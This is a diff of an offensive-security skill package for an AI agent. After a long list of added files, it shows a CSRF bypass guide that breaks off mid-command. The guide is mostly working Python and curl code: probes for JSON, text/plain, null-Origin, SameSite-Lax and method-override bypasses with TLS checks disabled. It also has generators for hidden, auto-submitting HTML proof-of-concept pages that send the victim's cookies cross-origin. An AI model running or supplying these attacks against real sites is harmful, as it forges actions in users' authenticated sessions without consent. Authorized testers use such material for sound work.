- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,536 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: csrf-advanced-bypass
|
|
5
|
+
description: Advanced CSRF bypass techniques beyond standard token removal — JSON content-type bypass, SameSite Lax exploitation, null Origin bypass, method override, parser differential attacks, and CSRF chains for maximum impact
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# CSRF Advanced Bypass Techniques
|
|
9
|
+
|
|
10
|
+
Standard CSRF testing (remove token, submit, check if accepted) catches only the most obvious misconfigurations. Production applications often implement CSRF tokens correctly for their primary use case but fail on edge cases: content-type switching, method overrides, parser differentials, or SameSite miscalculations.
|
|
11
|
+
|
|
12
|
+
This skill covers the non-obvious bypass paths that automated scanners miss entirely.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## BYPASS CLASS 1 — JSON Content-Type CSRF (Most Common)
|
|
17
|
+
|
|
18
|
+
**The vulnerability:** CSRF middleware typically protects `application/x-www-form-urlencoded` and `multipart/form-data` requests. Requests with `application/json` are often exempt because "JSON can't be sent cross-origin without a preflight." This assumption breaks when:
|
|
19
|
+
1. The server accepts JSON without checking CSRF token
|
|
20
|
+
2. The JS fetch API `mode: "no-cors"` allows sending `text/plain` which some servers auto-parse as JSON
|
|
21
|
+
3. The middleware skips validation for JSON content-type explicitly
|
|
22
|
+
|
|
23
|
+
**Test methodology:**
|
|
24
|
+
|
|
25
|
+
```python
|
|
26
|
+
# tools/csrf_json_bypass.py
|
|
27
|
+
"""
|
|
28
|
+
Test for JSON Content-Type CSRF bypass.
|
|
29
|
+
|
|
30
|
+
The key insight: if an endpoint accepts BOTH form submissions (with CSRF) AND JSON (without CSRF),
|
|
31
|
+
the JSON variant has no CSRF protection.
|
|
32
|
+
|
|
33
|
+
Steps:
|
|
34
|
+
1. Identify state-changing endpoints that accept application/json
|
|
35
|
+
2. Confirm CSRF token is NOT validated for JSON requests
|
|
36
|
+
3. Demonstrate cross-origin exploitability
|
|
37
|
+
"""
|
|
38
|
+
import urllib.request, urllib.error, ssl, json, re
|
|
39
|
+
|
|
40
|
+
ctx = ssl.create_default_context()
|
|
41
|
+
ctx.check_hostname = False
|
|
42
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
43
|
+
|
|
44
|
+
def test_json_csrf_bypass(endpoint_url, json_payload, session_cookie=None):
|
|
45
|
+
"""
|
|
46
|
+
Test if JSON POST to endpoint bypasses CSRF protection.
|
|
47
|
+
Returns True if CSRF is not enforced for JSON.
|
|
48
|
+
"""
|
|
49
|
+
# Step 1: First get the CSRF token to understand what it looks like
|
|
50
|
+
base_url = re.match(r'(https?://[^/]+)', endpoint_url).group(1)
|
|
51
|
+
csrf_token = None
|
|
52
|
+
try:
|
|
53
|
+
req = urllib.request.Request(base_url + "/",
|
|
54
|
+
headers={"User-Agent": "Mozilla/5.0"})
|
|
55
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
56
|
+
body = r.read(5000).decode('utf-8', 'ignore')
|
|
57
|
+
cookies = r.headers.get('Set-Cookie', '')
|
|
58
|
+
token_match = re.search(r'(?:csrf|_token|xsrf)[^"\']*["\']([a-zA-Z0-9._\-+/=]{10,100})["\']',
|
|
59
|
+
body, re.I)
|
|
60
|
+
if token_match:
|
|
61
|
+
csrf_token = token_match.group(1)
|
|
62
|
+
print(f"Found CSRF token in HTML: {csrf_token[:20]}...")
|
|
63
|
+
except Exception:
|
|
64
|
+
pass
|
|
65
|
+
|
|
66
|
+
results = {}
|
|
67
|
+
|
|
68
|
+
# Step 2: Test JSON request WITHOUT CSRF token
|
|
69
|
+
headers = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0"}
|
|
70
|
+
if session_cookie:
|
|
71
|
+
headers["Cookie"] = session_cookie
|
|
72
|
+
|
|
73
|
+
req = urllib.request.Request(
|
|
74
|
+
endpoint_url,
|
|
75
|
+
data=json.dumps(json_payload).encode(),
|
|
76
|
+
headers=headers,
|
|
77
|
+
method="POST"
|
|
78
|
+
)
|
|
79
|
+
try:
|
|
80
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
81
|
+
body = r.read(1000).decode('utf-8', 'ignore')
|
|
82
|
+
results["json_no_csrf"] = {"status": r.status, "body": body[:200]}
|
|
83
|
+
print(f"[JSON, no CSRF token] {r.status}: {body[:150]}")
|
|
84
|
+
except urllib.error.HTTPError as e:
|
|
85
|
+
body = e.read(500).decode('utf-8', 'ignore')
|
|
86
|
+
results["json_no_csrf"] = {"status": e.code, "body": body[:200]}
|
|
87
|
+
print(f"[JSON, no CSRF token] {e.code}: {body[:150]}")
|
|
88
|
+
|
|
89
|
+
# Step 3: Test text/plain request (bypasses preflight, some servers parse as JSON)
|
|
90
|
+
req2 = urllib.request.Request(
|
|
91
|
+
endpoint_url,
|
|
92
|
+
data=json.dumps(json_payload).encode(),
|
|
93
|
+
headers={**headers, "Content-Type": "text/plain"},
|
|
94
|
+
method="POST"
|
|
95
|
+
)
|
|
96
|
+
try:
|
|
97
|
+
with urllib.request.urlopen(req2, timeout=8, context=ctx) as r:
|
|
98
|
+
body = r.read(1000).decode('utf-8', 'ignore')
|
|
99
|
+
results["text_plain"] = {"status": r.status, "body": body[:200]}
|
|
100
|
+
print(f"[text/plain, no CSRF] {r.status}: {body[:150]}")
|
|
101
|
+
except urllib.error.HTTPError as e:
|
|
102
|
+
body = e.read(500).decode('utf-8', 'ignore')
|
|
103
|
+
results["text_plain"] = {"status": e.code, "body": body[:200]}
|
|
104
|
+
print(f"[text/plain, no CSRF] {e.code}: {body[:150]}")
|
|
105
|
+
|
|
106
|
+
# Step 4: Compare against form submission WITH CSRF (baseline)
|
|
107
|
+
if csrf_token:
|
|
108
|
+
import urllib.parse
|
|
109
|
+
form_data = urllib.parse.urlencode({**json_payload, "_csrf": csrf_token}).encode()
|
|
110
|
+
req3 = urllib.request.Request(
|
|
111
|
+
endpoint_url,
|
|
112
|
+
data=form_data,
|
|
113
|
+
headers={**headers, "Content-Type": "application/x-www-form-urlencoded"},
|
|
114
|
+
method="POST"
|
|
115
|
+
)
|
|
116
|
+
try:
|
|
117
|
+
with urllib.request.urlopen(req3, timeout=8, context=ctx) as r:
|
|
118
|
+
body = r.read(500).decode('utf-8', 'ignore')
|
|
119
|
+
results["form_with_csrf"] = {"status": r.status, "body": body[:200]}
|
|
120
|
+
print(f"[Form + CSRF token] {r.status}: {body[:100]}")
|
|
121
|
+
except urllib.error.HTTPError as e:
|
|
122
|
+
results["form_with_csrf"] = {"status": e.code}
|
|
123
|
+
|
|
124
|
+
# Analyze results
|
|
125
|
+
json_status = results.get("json_no_csrf", {}).get("status", 0)
|
|
126
|
+
form_status = results.get("form_with_csrf", {}).get("status", 0)
|
|
127
|
+
|
|
128
|
+
if json_status in (200, 201, 202) or (json_status == 200 and form_status == 200):
|
|
129
|
+
print(f"\n[BYPASS CONFIRMED] JSON POST accepted without CSRF token!")
|
|
130
|
+
print(f" Endpoint: {endpoint_url}")
|
|
131
|
+
print(f" JSON status: {json_status}")
|
|
132
|
+
print(f" Form+CSRF status: {form_status}")
|
|
133
|
+
return True
|
|
134
|
+
elif json_status == 415:
|
|
135
|
+
print(f"\n[HINT] 415 Unsupported Media Type — server uses different content-type for JSON")
|
|
136
|
+
print(f" Try: application/vnd.api+json or application/x-www-form-urlencoded")
|
|
137
|
+
elif json_status == 400:
|
|
138
|
+
print(f"\n[PARTIAL] 400 Bad Request — CSRF not enforced but payload rejected")
|
|
139
|
+
print(f" Refine the JSON payload structure to match the expected schema")
|
|
140
|
+
# 400 often means CSRF passed but validation failed → CSRF IS bypassed
|
|
141
|
+
json_body = results.get("json_no_csrf", {}).get("body", "")
|
|
142
|
+
if "csrf" not in json_body.lower() and "token" not in json_body.lower():
|
|
143
|
+
print(f" LIKELY BYPASS: 400 is not a CSRF error, it's a validation error")
|
|
144
|
+
return True
|
|
145
|
+
|
|
146
|
+
return False
|
|
147
|
+
|
|
148
|
+
def generate_csrf_poc(endpoint_url, json_payload, attack_description):
|
|
149
|
+
"""Generate a self-contained HTML proof-of-concept for CSRF"""
|
|
150
|
+
payload_str = json.dumps(json_payload)
|
|
151
|
+
|
|
152
|
+
poc = f"""<!DOCTYPE html>
|
|
153
|
+
<!-- CSRF PoC: {attack_description} -->
|
|
154
|
+
<!-- Auto-submits on page load. For authorized bug bounty testing only. -->
|
|
155
|
+
<html>
|
|
156
|
+
<body>
|
|
157
|
+
<h1>CSRF PoC: {attack_description}</h1>
|
|
158
|
+
<p>This page automatically sends a cross-origin request to demonstrate CSRF.</p>
|
|
159
|
+
|
|
160
|
+
<script>
|
|
161
|
+
// Method 1: JSON fetch (works when CSRF token not enforced on JSON)
|
|
162
|
+
fetch("{endpoint_url}", {{
|
|
163
|
+
method: "POST",
|
|
164
|
+
headers: {{"Content-Type": "application/json"}},
|
|
165
|
+
body: JSON.stringify({payload_str}),
|
|
166
|
+
credentials: "include", // Sends cookies cross-origin
|
|
167
|
+
mode: "no-cors" // Prevents CORS error (response not read)
|
|
168
|
+
}})
|
|
169
|
+
.then(() => console.log("Request sent"))
|
|
170
|
+
.catch(e => console.error(e));
|
|
171
|
+
|
|
172
|
+
// Method 2: text/plain (no preflight, may be parsed as JSON by server)
|
|
173
|
+
// Uncomment if Method 1 doesn't work:
|
|
174
|
+
/*
|
|
175
|
+
fetch("{endpoint_url}", {{
|
|
176
|
+
method: "POST",
|
|
177
|
+
headers: {{"Content-Type": "text/plain"}},
|
|
178
|
+
body: JSON.stringify({payload_str}),
|
|
179
|
+
credentials: "include",
|
|
180
|
+
mode: "no-cors"
|
|
181
|
+
}});
|
|
182
|
+
*/
|
|
183
|
+
</script>
|
|
184
|
+
</body>
|
|
185
|
+
</html>"""
|
|
186
|
+
return poc
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
---
|
|
190
|
+
|
|
191
|
+
## BYPASS CLASS 2 — SameSite Lax GET-Based State Change
|
|
192
|
+
|
|
193
|
+
```python
|
|
194
|
+
# tools/csrf_samesite_lax.py
|
|
195
|
+
"""
|
|
196
|
+
SameSite=Lax cookies are sent on top-level cross-site GET navigation.
|
|
197
|
+
If any state-changing endpoint accepts GET requests, it's CSRFable even with SameSite=Lax.
|
|
198
|
+
|
|
199
|
+
Detection: Find GET endpoints that cause state changes.
|
|
200
|
+
"""
|
|
201
|
+
import urllib.request, urllib.error, ssl
|
|
202
|
+
|
|
203
|
+
ctx = ssl.create_default_context()
|
|
204
|
+
ctx.check_hostname = False
|
|
205
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
206
|
+
|
|
207
|
+
STATE_CHANGE_INDICATORS = [
|
|
208
|
+
# URLs that sound like GET-based state changes
|
|
209
|
+
"/logout", "/signout", "/sign-out", "/log-out",
|
|
210
|
+
"/delete", "/remove", "/unsubscribe", "/cancel",
|
|
211
|
+
"/confirm", "/approve", "/verify", "/activate",
|
|
212
|
+
"/disable", "/enable", "/block", "/unblock",
|
|
213
|
+
"/disconnect", "/revoke", "/reset",
|
|
214
|
+
# Email change confirmation links (common in GET-based flows)
|
|
215
|
+
"/email/confirm", "/email/change", "/email/verify",
|
|
216
|
+
# Password reset via GET
|
|
217
|
+
"/password/reset", "/account/delete",
|
|
218
|
+
]
|
|
219
|
+
|
|
220
|
+
def test_get_state_change(base_url):
|
|
221
|
+
"""Test if any GET endpoints cause state changes (SameSite=Lax bypass surface)"""
|
|
222
|
+
findings = []
|
|
223
|
+
|
|
224
|
+
for path in STATE_CHANGE_INDICATORS:
|
|
225
|
+
url = base_url.rstrip('/') + path
|
|
226
|
+
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
|
227
|
+
try:
|
|
228
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
229
|
+
# GET that returns 200 with state change = CSRFable
|
|
230
|
+
findings.append({"url": url, "status": r.status, "method": "GET"})
|
|
231
|
+
print(f"[GET {r.status}] {url} — potential state change endpoint")
|
|
232
|
+
except urllib.error.HTTPError as e:
|
|
233
|
+
if e.code in (302, 301):
|
|
234
|
+
# Redirect might indicate successful action
|
|
235
|
+
loc = e.headers.get('Location', '')
|
|
236
|
+
print(f"[GET {e.code}→{loc[:60]}] {url}")
|
|
237
|
+
findings.append({"url": url, "status": e.code, "redirect": loc})
|
|
238
|
+
except Exception:
|
|
239
|
+
pass
|
|
240
|
+
|
|
241
|
+
return findings
|
|
242
|
+
|
|
243
|
+
def generate_samesite_lax_poc(state_change_url):
|
|
244
|
+
"""Generate PoC for SameSite=Lax GET bypass"""
|
|
245
|
+
return f"""<!DOCTYPE html>
|
|
246
|
+
<!-- CSRF via SameSite=Lax top-level navigation -->
|
|
247
|
+
<html>
|
|
248
|
+
<body>
|
|
249
|
+
<!-- Top-level navigation sends SameSite=Lax cookies -->
|
|
250
|
+
<img src="{state_change_url}" style="display:none"
|
|
251
|
+
onerror="console.log('request sent')" />
|
|
252
|
+
|
|
253
|
+
<!-- Alternative: form-based GET -->
|
|
254
|
+
<form id="csrf" action="{state_change_url}" method="GET">
|
|
255
|
+
<input type="submit" value="Click Me" />
|
|
256
|
+
</form>
|
|
257
|
+
<!-- Auto-submit: -->
|
|
258
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
259
|
+
</body>
|
|
260
|
+
</html>"""
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## BYPASS CLASS 3 — Null Origin Bypass
|
|
266
|
+
|
|
267
|
+
```python
|
|
268
|
+
# tools/csrf_null_origin.py
|
|
269
|
+
"""
|
|
270
|
+
Some servers accept requests with Origin: null.
|
|
271
|
+
This can be triggered from sandboxed iframes (sandbox attribute without allow-same-origin).
|
|
272
|
+
|
|
273
|
+
Exploit:
|
|
274
|
+
<iframe sandbox="allow-scripts allow-forms" srcdoc="..."></iframe>
|
|
275
|
+
The iframe has null Origin. If server accepts null Origin = CSRF bypass.
|
|
276
|
+
"""
|
|
277
|
+
import urllib.request, urllib.error, ssl
|
|
278
|
+
|
|
279
|
+
ctx = ssl.create_default_context()
|
|
280
|
+
ctx.check_hostname = False
|
|
281
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
282
|
+
|
|
283
|
+
def test_null_origin(endpoint_url, payload_data, session_cookie=None):
|
|
284
|
+
"""Test if server accepts requests with Origin: null"""
|
|
285
|
+
headers = {
|
|
286
|
+
"Origin": "null",
|
|
287
|
+
"Referer": "", # No referer from sandboxed iframe
|
|
288
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
289
|
+
"User-Agent": "Mozilla/5.0"
|
|
290
|
+
}
|
|
291
|
+
if session_cookie:
|
|
292
|
+
headers["Cookie"] = session_cookie
|
|
293
|
+
|
|
294
|
+
req = urllib.request.Request(
|
|
295
|
+
endpoint_url,
|
|
296
|
+
data=payload_data.encode() if isinstance(payload_data, str) else payload_data,
|
|
297
|
+
headers=headers,
|
|
298
|
+
method="POST"
|
|
299
|
+
)
|
|
300
|
+
try:
|
|
301
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
302
|
+
body = r.read(500).decode('utf-8', 'ignore')
|
|
303
|
+
if r.status in (200, 201, 202):
|
|
304
|
+
print(f"[NULL ORIGIN BYPASS] {endpoint_url}: {r.status}")
|
|
305
|
+
print(f" Response: {body[:150]}")
|
|
306
|
+
return True
|
|
307
|
+
except urllib.error.HTTPError as e:
|
|
308
|
+
body = e.read(300).decode('utf-8', 'ignore')
|
|
309
|
+
if e.code not in (401, 403):
|
|
310
|
+
print(f"[{e.code}] {endpoint_url}: {body[:100]}")
|
|
311
|
+
return False
|
|
312
|
+
|
|
313
|
+
def generate_null_origin_poc(endpoint_url, form_params):
|
|
314
|
+
"""Generate sandboxed iframe PoC with null Origin"""
|
|
315
|
+
import urllib.parse
|
|
316
|
+
form_fields = "\n".join(
|
|
317
|
+
f'<input name="{k}" value="{v}">' for k, v in form_params.items()
|
|
318
|
+
)
|
|
319
|
+
|
|
320
|
+
return f"""<!DOCTYPE html>
|
|
321
|
+
<!-- CSRF via null Origin (sandboxed iframe) -->
|
|
322
|
+
<html>
|
|
323
|
+
<body>
|
|
324
|
+
<iframe sandbox="allow-scripts allow-forms" style="display:none"
|
|
325
|
+
srcdoc='
|
|
326
|
+
<form id="csrf" action="{endpoint_url}" method="POST">
|
|
327
|
+
{form_fields}
|
|
328
|
+
</form>
|
|
329
|
+
<script>document.getElementById("csrf").submit();</script>
|
|
330
|
+
'>
|
|
331
|
+
</iframe>
|
|
332
|
+
</body>
|
|
333
|
+
</html>"""
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
---
|
|
337
|
+
|
|
338
|
+
## BYPASS CLASS 4 — Token Weakness Patterns
|
|
339
|
+
|
|
340
|
+
```python
|
|
341
|
+
# tools/csrf_token_analysis.py
|
|
342
|
+
"""
|
|
343
|
+
CSRF token weakness testing:
|
|
344
|
+
1. Token not bound to session (works across sessions)
|
|
345
|
+
2. Token not bound to user (works across users)
|
|
346
|
+
3. Token in GET parameter (logged, cacheable)
|
|
347
|
+
4. Token predictable (timestamp-based, sequential)
|
|
348
|
+
5. Token length too short (<16 bytes entropy)
|
|
349
|
+
6. Double submit cookie bypass (token matches cookie but neither is validated server-side)
|
|
350
|
+
"""
|
|
351
|
+
import urllib.request, urllib.error, ssl, re, hashlib, time, base64
|
|
352
|
+
|
|
353
|
+
ctx = ssl.create_default_context()
|
|
354
|
+
ctx.check_hostname = False
|
|
355
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
356
|
+
|
|
357
|
+
def analyze_csrf_token(token_string):
|
|
358
|
+
"""Analyze a CSRF token for weakness indicators"""
|
|
359
|
+
analysis = {"token": token_string, "weaknesses": []}
|
|
360
|
+
|
|
361
|
+
# Length check
|
|
362
|
+
if len(token_string) < 20:
|
|
363
|
+
analysis["weaknesses"].append(f"SHORT: Only {len(token_string)} chars — insufficient entropy")
|
|
364
|
+
|
|
365
|
+
# Entropy check: is it high entropy or patterned?
|
|
366
|
+
import string
|
|
367
|
+
charset = set(token_string)
|
|
368
|
+
if len(charset) < 10:
|
|
369
|
+
analysis["weaknesses"].append(f"LOW_CHARSET: Only {len(charset)} unique chars")
|
|
370
|
+
|
|
371
|
+
# Timestamp-based check: try to decode as base64 or hex
|
|
372
|
+
try:
|
|
373
|
+
decoded = base64.b64decode(token_string + "==").hex()
|
|
374
|
+
# Check if first 4 bytes could be a timestamp
|
|
375
|
+
ts_candidate = int(decoded[:8], 16)
|
|
376
|
+
if 1600000000 < ts_candidate < 2000000000: # Unix timestamp range
|
|
377
|
+
analysis["weaknesses"].append(f"TIMESTAMP_BASED: Decodes to timestamp {ts_candidate}")
|
|
378
|
+
except Exception:
|
|
379
|
+
pass
|
|
380
|
+
|
|
381
|
+
# JWT-like token (these have different validation rules)
|
|
382
|
+
if token_string.count('.') == 2:
|
|
383
|
+
analysis["weaknesses"].append("JWT_FORMAT: Token looks like a JWT — test algorithm confusion")
|
|
384
|
+
|
|
385
|
+
# Sequential check: if token contains incrementing numbers
|
|
386
|
+
digits = re.findall(r'\d+', token_string)
|
|
387
|
+
for d in digits:
|
|
388
|
+
if len(d) > 6:
|
|
389
|
+
analysis["weaknesses"].append(f"CONTAINS_SEQUENCE: {d} — may be sequential")
|
|
390
|
+
|
|
391
|
+
return analysis
|
|
392
|
+
|
|
393
|
+
def test_token_cross_session(endpoint_url, token_from_session_a, session_b_cookie):
|
|
394
|
+
"""
|
|
395
|
+
Test if CSRF token from session A works in session B.
|
|
396
|
+
If yes: token is not session-bound (high severity).
|
|
397
|
+
"""
|
|
398
|
+
import urllib.parse
|
|
399
|
+
data = urllib.parse.urlencode({"_csrf": token_from_session_a, "test": "1"}).encode()
|
|
400
|
+
|
|
401
|
+
req = urllib.request.Request(
|
|
402
|
+
endpoint_url, data=data,
|
|
403
|
+
headers={
|
|
404
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
405
|
+
"Cookie": session_b_cookie,
|
|
406
|
+
"User-Agent": "Mozilla/5.0"
|
|
407
|
+
},
|
|
408
|
+
method="POST"
|
|
409
|
+
)
|
|
410
|
+
try:
|
|
411
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
412
|
+
print(f"[CROSS-SESSION BYPASS] Token from session A accepted in session B!")
|
|
413
|
+
return True
|
|
414
|
+
except urllib.error.HTTPError as e:
|
|
415
|
+
if e.code == 403:
|
|
416
|
+
body = e.read(200).decode('utf-8', 'ignore')
|
|
417
|
+
if "csrf" in body.lower() or "token" in body.lower():
|
|
418
|
+
print(f"[PROTECTED] Token correctly bound to session")
|
|
419
|
+
else:
|
|
420
|
+
print(f"[INVESTIGATE] 403 but not CSRF-related — different protection mechanism")
|
|
421
|
+
return False
|
|
422
|
+
```
|
|
423
|
+
|
|
424
|
+
---
|
|
425
|
+
|
|
426
|
+
## BYPASS CLASS 5 — Method Override CSRF
|
|
427
|
+
|
|
428
|
+
```bash
|
|
429
|
+
# Test HTTP method override headers
|
|
430
|
+
# Some frameworks honor these even without CSRF tokens
|
|
431
|
+
|
|
432
|
+
TARGET_URL="https://TARGET/api/endpoint"
|
|
433
|
+
SESSION_COOKIE="session=VALUE"
|
|
434
|
+
|
|
435
|
+
# X-HTTP-Method-Override
|
|
436
|
+
curl -sk -X POST "$TARGET_URL" \
|
|
437
|
+
-H "X-HTTP-Method-Override: DELETE" \
|
|
438
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
439
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
440
|
+
-d "id=1" -v 2>&1 | grep -E "HTTP/|location|content-type"
|
|
441
|
+
|
|
442
|
+
# _method parameter (Rails, PHP frameworks)
|
|
443
|
+
curl -sk -X POST "$TARGET_URL" \
|
|
444
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
445
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
446
|
+
-d "_method=DELETE&id=1" -v 2>&1 | grep -E "HTTP/|location"
|
|
447
|
+
|
|
448
|
+
# X-Method-Override
|
|
449
|
+
curl -sk -X POST "$TARGET_URL" \
|
|
450
|
+
-H "X-Method-Override: PATCH" \
|
